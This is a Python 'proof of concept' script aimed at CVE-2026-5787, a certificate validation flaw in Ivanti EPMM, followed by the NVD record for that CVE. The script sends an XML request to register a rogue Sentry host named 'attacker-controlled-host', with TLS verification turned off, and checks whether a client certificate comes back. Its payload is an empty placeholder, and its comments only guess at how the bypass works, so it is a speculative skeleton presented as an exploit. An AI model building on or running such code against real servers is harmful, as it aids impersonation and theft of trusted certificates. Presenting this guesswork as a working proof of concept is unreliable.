CVE-2026-5787

import requests # CVE-2026-5787 PoC Concept: Improper Certificate Validation # Targeting Ivanti EPMM Sentry impersonation target_url = "https://<target-ip>/mics/services/SentryMgmtService" # Headers to mimic a Sentry host request headers = { "User-Agent": "Sentry-Request", "Content-Type": "application/xml" } # Malicious payload attempting to register a rogue Sentry # In a real scenario, this might involve specific XML or certificate data that bypasses validation. payload = """<?xml version="1.0" encoding="UTF-8"?> <registerSentry> <hostname>attacker-controlled-host</hostname> <!-- Fields exploiting the validation bypass --> </registerSentry>""" try: # Note: In a certificate validation bypass, we might be presenting a bad cert that the server accepts. # Or we might be exploiting the endpoint to get a cert back. response = requests.post(target_url, headers=headers, data=payload, verify=False, timeout=10) if response.status_code == 200: print("[+] Request successful. Check if certificate was issued.") print("[+] Response body:", response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-5787", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2026-05-07T16:16:22.620", "lastModified": "2026-05-07T20:12:18.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Certificate Validation in Ivanti EPMM before versions 12.6.1.1, 12.7.0.1, and 12.8.0.1 allows a remote unauthenticated attacker to impersonate registered Sentry hosts and obtain valid CA-signed client certificates."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.6.1.1", "matchCriteriaId": "940E9259-A59E-4424-8B2E-05571C4B78AE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:12.7.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "79879C08-959D-49BD-947C-914F82B564E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:12.8.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "EAB6A5F3-3F82-41BF-B7C6-8F4F0E813B9F"}]}]}], "references": [{"url": "https://hub.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory", "Patch"]}]}}